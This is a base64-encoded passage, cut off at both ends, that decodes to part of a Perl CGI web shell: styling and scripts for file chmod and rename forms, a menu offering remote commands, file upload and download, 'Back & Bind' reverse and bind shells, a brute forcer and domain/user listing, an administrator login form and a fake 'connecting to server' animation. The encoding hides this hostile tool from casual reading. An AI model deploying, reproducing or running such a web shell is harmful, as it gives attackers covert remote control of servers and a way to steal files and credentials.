mVyZGFuYSBib2xkOw0KY29sb3I6IHdoaWxlOw0KfQ0KDQpydW4gew0KYm9yZGVyCQkJOiBkYXNoZWQgMHB4ICMzMzM7DQpmb250OiAxMHB0IFZlcmRhbmEgYm9sZDsNCmNvbG9yOiAjRkYwMEFBOw0KfQ0KDQp0ZXh0YXJlYSB7DQpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsNCkJBQ0tHUk9VTkQtQ09MT1I6ICMxYjFiMWI7DQpmb250OiBGaXhlZHN5cyBib2xkOw0KY29sb3I6ICNhYWE7DQp9DQpBOmxpbmsgew0KCUNPTE9SOiAjMkJBOEVDOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6dmlzaXRlZCB7DQoJQ09MT1I6ICMyQkE4RUM7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KQTpob3ZlciB7DQoJdGV4dC1zaGFkb3c6IDBwdCAwcHQgMC4zZW0gY3lhbiwgMHB0IDBwdCAwLjNlbSBjeWFuOw0KCWNvbG9yOiAjZmY5OTAwOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6YWN0aXZlIHsNCgljb2xvcjogUmVkOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCg0KLmxpc3RkaXIgdHI6aG92ZXJ7DQoJYmFja2dyb3VuZDogIzQ0NDsNCn0NCi5saXN0ZGlyIHRyOmhvdmVyIHRkew0KCWJhY2tncm91bmQ6ICM0NDQ7DQoJdGV4dC1zaGFkb3c6IDBwdCAwcHQgMC4zZW0gY3lhbiwgMHB0IDBwdCAwLjNlbSBjeWFuOw0KCWNvbG9yOiAjRkZGRkZGOyBURVhULURFQ09SQVRJT046IG5vbmU7DQp9DQoubm90bGluZXsNCgliYWNrZ3JvdW5kOiAjMTExOw0KfQ0KLmxpbmV7DQoJYmFja2dyb3VuZDogIzIyMjsNCn0NCjwvc3R5bGU+DQo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4NCmZ1bmN0aW9uIGNobW9kX2Zvcm0oaSxmaWxlKQ0Kew0KCS8qdmFyIGFqYXg9J2FqYXhfUG9zdERhdGEoIkZvcm1QZXJtc18nK2krJyIsIiRTY3JpcHRMb2NhdGlvbiIsIlJlc3BvbnNlRGF0YSIpOyByZXR1cm4gZmFsc2U7JzsqLw0KCXZhciBhamF4PSIiOw0KCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlUGVybXNfIitpKS5pbm5lckhUTUw9Ijxmb3JtIG5hbWU9Rm9ybVBlcm1zXyIgKyBpKyAiIGFjdGlvbj0nIG1ldGhvZD0nUE9TVCc+PGlucHV0IGlkPXRleHRfIiArIGkgKyAiICBuYW1lPWNobW9kIHR5cGU9dGV4dCBzaXplPTUgLz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgb25jbGljaz0nIiArIGFqYXggKyAiJyB2YWx1ZT1PSz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSdndWknPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWQgdmFsdWU9JyRkaXInPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWYgdmFsdWU9JyIrZmlsZSsiJz48L2Zvcm0+IjsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidGV4dF8iICsgaSkuZm9jdXMoKTsNCn0NCmZ1bmN0aW9uIHJtX2NobW9kX2Zvcm0ocmVzcG9uc2UsaSxwZXJtcyxmaWxlKQ0Kew0KCXJlc3BvbnNlLmlubmVySFRNTCA9ICI8c3BhbiBvbmNsaWNrPVxcXCJjaG1vZF9mb3JtKCIgKyBpICsgIiwnIisgZmlsZSsgIicpXFxcIiA+IisgcGVybXMgKyI8L3NwYW4+PC90ZD4iOw0KfQ0KZnVuY3Rpb24gcmVuYW1lX2Zvcm0oaSxmaWxlLGYpDQp7DQoJdmFyIGFqYXg9IiI7DQoJZi5yZXBsYWNlKC9cXFxcL2csIlxcXFxcXFxcIik7DQoJdmFyIGJhY2s9InJtX3JlbmFtZV9mb3JtKCIraSsiLFxcXCIiK2ZpbGUrIlxcXCIsXFxcIiIrZisiXFxcIik7IHJldHVybiBmYWxzZTsiOw0KCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlXyIraSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JyBtZXRob2Q9J1BPU1QnPjxpbnB1dCBpZD10ZXh0XyIgKyBpICsgIiAgbmFtZT1yZW5hbWUgdHlwZT10ZXh0IHZhbHVlPSAnIitmaWxlKyInIC8+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBhamF4ICsgIicgdmFsdWU9T0s+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBiYWNrICsgIicgdmFsdWU9Q2FuY2VsPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOw0KCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ0ZXh0XyIgKyBpKS5mb2N1cygpOw0KfQ0KZnVuY3Rpb24gcm1fcmVuYW1lX2Zvcm0oaSxmaWxlLGYpDQp7DQoJaWYoZj09J2YnKQ0KCXsNCgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0kZGlyJmM9ZWRpdCUyMCIrZmlsZSsiJTIwJz4iICtmaWxlKyAiPC9hPiI7DQoJfWVsc2UNCgl7DQoJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlXyIraSkuaW5uZXJIVE1MPSI8YSBocmVmPSc/YT1ndWkmZD0iK2YrIic+WyAiICtmaWxlKyAiIF08L2E+IjsNCgl9DQp9DQo8L3NjcmlwdD4NCjxib2R5IG9uTG9hZD0iZG9jdW1lbnQuZi5AXy5mb2N1cygpIiBiZ2NvbG9yPSIjMGMwYzBjIiB0b3BtYXJnaW49IjAiIGxlZnRtYXJnaW49IjAiIG1hcmdpbndpZHRoPSIwIiBtYXJnaW5oZWlnaHQ9IjAiPg0KPGNlbnRlcj48Y29kZT4NCjx0YWJsZSBib3JkZXI9IjEiIHdpZHRoPSIxMDAlIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjIiPg0KPHRyPg0KCTx0ZCBhbGlnbj0iY2VudGVyIiByb3dzcGFuPTI+DQoJCTxiPjxmb250IHNpemU9IjUiPiRFZGl0UGVyc2lvbjwvZm9udD48L2I+DQoJPC90ZD4NCg0KCTx0ZD4NCg0KCQk8Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4kRU5WeyJTRVJWRVJfU09GVFdBUkUifTwvZm9udD4NCgk8L3RkPg0KCTx0ZD5TZXJ2ZXIgSVA6PGZvbnQgY29sb3I9IiNiYjAwMDAiPiAkRU5WeydTRVJWRVJfQUREUid9PC9mb250PiB8IFlvdXIgSVA6IDxmb250IGNvbG9yPSIjYmIwMDAwIj4kRU5WeydSRU1PVEVfQUREUid9PC9mb250Pg0KCTwvdGQ+DQoNCjwvdHI+DQoNCjx0cj4NCjx0ZCBjb2xzcGFuPSIzIj48Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4NCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbiI+SG9tZTwvYT4gfCANCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWNvbW1hbmQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkNvbW1hbmQ8L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWd1aSZkPSRFbmNvZGVkQ3VycmVudERpciI+R1VJPC9hPiB8IA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9dXBsb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCANCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5Eb3dubG9hZCBGaWxlPC9hPiB8DQoNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJhY2tiaW5kIj5CYWNrICYgQmluZDwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9YnJ1dGVmb3JjZXIiPkJydXRlIEZvcmNlcjwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y2hlY2tsb2ciPkNoZWNrIExvZzwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG9tYWluc3VzZXIiPkRvbWFpbnMvVXNlcnM8L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWxvZ291dCI+TG9nb3V0PC9hPiB8DQo8YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0iIyI+SGVscDwvYT4NCg0KPC9mb250PjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjxmb250IGlkPSJSZXNwb25zZURhdGEiIGNvbG9yPSIjZmY5OWNjIiA+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50TG9naW5TY3JlZW4NCnsNCg0KCXByaW50IDw8RU5EOw0KPHByZT48c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQpUeXBpbmdUZXh0ID0gZnVuY3Rpb24oZWxlbWVudCwgaW50ZXJ2YWwsIGN1cnNvciwgZmluaXNoZWRDYWxsYmFjaykgew0KICBpZigodHlwZW9mIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkID09ICJ1bmRlZmluZWQiKSB8fCAodHlwZW9mIGVsZW1lbnQuaW5uZXJIVE1MID09ICJ1bmRlZmluZWQiKSkgew0KICAgIHRoaXMucnVubmluZyA9IHRydWU7CS8vIE5ldmVyIHJ1bi4NCiAgICByZXR1cm47DQogIH0NCiAgdGhpcy5lbGVtZW50ID0gZWxlbWVudDsNCiAgdGhpcy5maW5pc2hlZENhbGxiYWNrID0gKGZpbmlzaGVkQ2FsbGJhY2sgPyBmaW5pc2hlZENhbGxiYWNrIDogZnVuY3Rpb24oKSB7IHJldHVybjsgfSk7DQogIHRoaXMuaW50ZXJ2YWwgPSAodHlwZW9mIGludGVydmFsID09ICJ1bmRlZmluZWQiID8gMTAwIDogaW50ZXJ2YWwpOw0KICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5lbGVtZW50LmlubmVySFRNTDsNCiAgdGhpcy51bnBhcnNlZE9yaWdUZXh0ID0gdGhpcy5vcmlnVGV4dDsNCiAgdGhpcy5jdXJzb3IgPSAoY3Vyc29yID8gY3Vyc29yIDogIiIpOw0KICB0aGlzLmN1cnJlbnRUZXh0ID0gIiI7DQogIHRoaXMuY3VycmVudENoYXIgPSAwOw0KICB0aGlzLmVsZW1lbnQudHlwaW5nVGV4dCA9IHRoaXM7DQogIGlmKHRoaXMuZWxlbWVudC5pZCA9PSAiIikgdGhpcy5lbGVtZW50LmlkID0gInR5cGluZ3RleHQiICsgVHlwaW5nVGV4dC5jdXJyZW50SW5kZXgrKzsNCiAgVHlwaW5nVGV4dC5hbGwucHVzaCh0aGlzKTsNCiAgdGhpcy5ydW5uaW5nID0gZmFsc2U7DQogIHRoaXMuaW5UYWcgPSBmYWxzZTsNCiAgdGhpcy50YWdCdWZmZXIgPSAiIjsNCiAgdGhpcy5pbkhUTUxFbnRpdHkgPSBmYWxzZTsNCiAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiI7DQp9DQpUeXBpbmdUZXh0LmFsbCA9IG5ldyBBcnJheSgpOw0KVHlwaW5nVGV4dC5jdXJyZW50SW5kZXggPSAwOw0KVHlwaW5nVGV4dC5ydW5BbGwgPSBmdW5jdGlvbigpIHsNCiAgZm9yKHZhciBpID0gMDsgaSA8IFR5cGluZ1RleHQuYWxsLmxlbmd0aDsgaSsrKSBUeXBpbmdUZXh0LmFsbFtpXS5ydW4oKTsNCn0NClR5cGluZ1RleHQucHJvdG90eXBlLnJ1biA9IGZ1bmN0aW9uKCkgew0KICBpZih0aGlzLnJ1bm5pbmcpIHJldHVybjsNCiAgaWYodHlwZW9mIHRoaXMub3JpZ1RleHQgPT0gInVuZGVmaW5lZCIpIHsNCiAgICBzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnIiArIHRoaXMuZWxlbWVudC5pZCArICInKS50eXBpbmdUZXh0LnJ1bigpIiwgdGhpcy5pbnRlcnZhbCk7CS8vIFdlIGhhdmVuJ3QgZmluaXNoZWQgbG9hZGluZyB5ZXQuICBIYXZlIHBhdGllbmNlLg0KICAgIHJldHVybjsNCiAgfQ0KICBpZih0aGlzLmN1cnJlbnRUZXh0ID09ICIiKSB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gIiI7DQovLyAgdGhpcy5vcmlnVGV4dCA9IHRoaXMub3JpZ1RleHQucmVwbGFjZSgvPChbXjxdKSo+LywgIiIpOyAgICAgLy8gU3RyaXAgSFRNTCBmcm9tIHRleHQuDQogIGlmKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCkgew0KICAgIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI8IiAmJiAhdGhpcy5pblRhZykgew0KICAgICAgdGhpcy50YWdCdWZmZXIgPSAiPCI7DQogICAgICB0aGlzLmluVGFnID0gdHJ1ZTsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI+IiAmJiB0aGlzLmluVGFnKSB7DQogICAgICB0aGlzLnRhZ0J1ZmZlciArPSAiPiI7DQogICAgICB0aGlzLmluVGFnID0gZmFsc2U7DQogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMudGFnQnVmZmVyOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2UgaWYodGhpcy5pblRhZykgew0KICAgICAgdGhpcy50YWdCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiJiIgJiYgIXRoaXMuaW5IVE1MRW50aXR5KSB7DQogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgPSAiJiI7DQogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IHRydWU7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiOyIgJiYgdGhpcy5pbkhUTUxFbnRpdHkpIHsNCiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciArPSAiOyI7DQogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IGZhbHNlOw0KICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLkhUTUxFbnRpdHlCdWZmZXI7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLmluSFRNTEVudGl0eSkgew0KICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2Ugew0KICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsNCiAgICB9DQogICAgdGhpcy5lbGVtZW50LmlubmVySFRNTCA9IHRoaXMuY3VycmVudFRleHQ7DQogICAgdGhpcy5lbGVtZW50LmlubmVySFRNTCArPSAodGhpcy5jdXJyZW50Q2hhciA8IHRoaXMub3JpZ1RleHQubGVuZ3RoIC0gMSA/ICh0eXBlb2YgdGhpcy5jdXJzb3IgPT0gImZ1bmN0aW9uIiA/IHRoaXMuY3Vyc29yKHRoaXMuY3VycmVudFRleHQpIDogdGhpcy5jdXJzb3IpIDogIiIpOw0KICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICBzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnIiArIHRoaXMuZWxlbWVudC5pZCArICInKS50eXBpbmdUZXh0LnJ1bigpIiwgdGhpcy5pbnRlcnZhbCk7DQogIH0gZWxzZSB7DQoJdGhpcy5jdXJyZW50VGV4dCA9ICIiOw0KCXRoaXMuY3VycmVudENoYXIgPSAwOw0KICAgICAgICB0aGlzLnJ1bm5pbmcgPSBmYWxzZTsNCiAgICAgICAgdGhpcy5maW5pc2hlZENhbGxiYWNrKCk7DQogIH0NCn0NCjwvc2NyaXB0Pg0KPC9wcmU+DQoNCjxmb250IHN0eWxlPSJmb250OiAxNXB0IFZlcmRhbmE7IGNvbG9yOiB5ZWxsb3c7Ij5Db3B5cmlnaHQgKEMpIDIwMDEgUm9oaXRhYiBCYXRyYSA8L2ZvbnQ+PGJyPjxicj4NCjx0YWJsZSBhbGlnbj0iY2VudGVyIiBib3JkZXI9IjEiIHdpZHRoPSI2MDAiIGhlaWdoPg0KPHRib2R5Pjx0cj4NCjx0ZCB2YWxpZ249InRvcCIgYmFja2dyb3VuZD0iaHR0cDovL2RsLmRyb3Bib3guY29tL3UvMTA4NjAwNTEvaW1hZ2VzL21hdHJhbi5naWYiPjxwIGlkPSJoYWNrIiBzdHlsZT0ibWFyZ2luLWxlZnQ6IDNweDsiPg0KPGZvbnQgY29sb3I9IiMwMDk5MDAiPiBQbGVhc2UgV2FpdCAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuPC9mb250PiA8YnI+DQoNCjxmb250IGNvbG9yPSIjMDA5OTAwIj4gVHJ5aW5nIGNvbm5lY3QgdG8gU2VydmVyIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPg0KPGZvbnQgY29sb3I9IiNGMDAwMDAiPjxmb250IGNvbG9yPSIjRkZGMDAwIj5+XCQ8L2ZvbnQ+IENvbm5lY3RlZCAhIDwvZm9udD48YnI+DQo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjwvZm9udD4gQ2hlY2tpbmcgU2VydmVyIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+IDxicj4NCg0KPGZvbnQgY29sb3I9IiMwMDk5MDAiPjxmb250IGNvbG9yPSIjRkZGMDAwIj4kU2VydmVyTmFtZX48L2ZvbnQ+IFRyeWluZyBjb25uZWN0IHRvIENvbW1hbmQgLiAuIC4gLiAuIC4gLiAuIC4gLiAuPC9mb250Pjxicj4NCg0KPGZvbnQgY29sb3I9IiNGMDAwMDAiPjxmb250IGNvbG9yPSIjRkZGMDAwIj4kU2VydmVyTmFtZX48L2ZvbnQ+XCQgQ29ubmVjdGVkIENvbW1hbmQhIDwvZm9udD48YnI+DQo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjxmb250IGNvbG9yPSIjRjAwMDAwIj5cJDwvZm9udD48L2ZvbnQ+IE9LISBZb3UgY2FuIGtpbGwgaXQhPC9mb250Pg0KPC90cj4NCjwvdGJvZHk+PC90YWJsZT4NCjxicj4NCg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KbmV3IFR5cGluZ1RleHQoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImhhY2siKSwgMzAsIGZ1bmN0aW9uKGkpeyB2YXIgYXIgPSBuZXcgQXJyYXkoIl8iLCIiKTsgcmV0dXJuICIgIiArIGFyW2kubGVuZ3RoICUgYXIubGVuZ3RoXTsgfSk7DQpUeXBpbmdUZXh0LnJ1bkFsbCgpOw0KDQo8L3NjcmlwdD4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEFkZCBodG1sIHNwZWNpYWwgY2hhcnMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBIdG1sU3BlY2lhbENoYXJzKCQpew0KCW15ICR0ZXh0ID0gc2hpZnQ7DQoJJHRleHQgPX4gcy8mLyZhbXA7L2c7DQoJJHRleHQgPX4gcy8iLyZxdW90Oy9nOw0KCSR0ZXh0ID1+IHMvJy8mIzAzOTsvZzsNCgkkdGV4dCA9fiBzLzwvJmx0Oy9nOw0KCSR0ZXh0ID1+IHMvPi8mZ3Q7L2c7DQoJcmV0dXJuICR0ZXh0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBBZGQgbGluayBmb3IgZGlyZWN0b3J5DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQWRkTGlua0RpcigkKQ0Kew0KCW15ICRhYz1zaGlmdDsNCglteSBAZGlyPSgpOw0KCWlmKCRXaW5OVCkNCgl7DQoJCUBkaXI9c3BsaXQoL1xcLywkQ3VycmVudERpcik7DQoJfWVsc2UNCgl7DQoJCUBkaXI9c3BsaXQoIi8iLCZ0cmltKCRDdXJyZW50RGlyKSk7DQoJfQ0KCW15ICRwYXRoPSIiOw0KCW15ICRyZXN1bHQ9IiI7DQoJZm9yZWFjaCAoQGRpcikNCgl7DQoJCSRwYXRoIC49ICRfLiRQYXRoU2VwOw0KCQkkcmVzdWx0Lj0iPGEgaHJlZj0nP2E9Ii4kYWMuIiZkPSIuJHBhdGguIic+Ii4kXy4kUGF0aFNlcC4iPC9hPiI7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIG1lc3NhZ2UgdGhhdCBpbmZvcm1zIHRoZSB1c2VyIG9mIGEgZmFpbGVkIGxvZ2luDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpbkZhaWxlZE1lc3NhZ2UNCnsNCglwcmludCA8PEVORDsNCjxicj5Mb2dpbiA6IEFkbWluaXN0cmF0b3I8YnI+DQoNClBhc3N3b3JkOjxicj4NCkxvZ2luIGluY29ycmVjdDxicj48YnI+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSBmb3IgbG9nZ2luZyBpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50TG9naW5Gb3JtDQp7DQoJcHJpbnQgPDxFTkQ7DQo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+DQpMb2dpbiA6IEFkbWluaXN0cmF0b3I8YnI+DQpQYXNzd29yZDo8aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InAiPg0KPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgZm9vdGVyIGZvciB0aGUgSFRNTCBQYWdlDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRQYWdlRm9vdGVyDQp7DQoJcHJpbnQgIjxicj48Zm9udCBjb2xvcj1yZWQ+by0tLVsgIDxmb250IGNvbG9yPSNmZjk5MDA+RWRpdCBieSAkRWRpdFBlcnNpb24gPC9mb250PiAgXS0tLW88L2ZvbnQ+PC9jb2RlPjwvY2VudGVyPjwvYm9keT48L2h0bWw+IjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBSZXRyZWl2ZXMgdGhlIHZhbHVlcyBvZiBhbGwgY29va2llcy4gVGhlIGNvb2tpZXMgY2FuIGJlIGFjY2Vzc2VzIHVzaW5nIHRoZQ0KIyB2YXJpYWJsZSAkQ29va2llc3snfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEdldENvb2tpZXMNCnsNCglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOw0KCWZvcmVhY2ggJGNvb2tpZShAaHR0cGNvb2tpZXMpDQoJew0KCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7DQoJCSRDb29raWVzeyRpZH0gPSAkdmFsOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dvdXRTY3JlZW4NCnsNCglwcmludCAiQ29ubmVjdGlvbiBjbG9zZWQgYnkgZm9yZWlnbiBob3N0Ljxi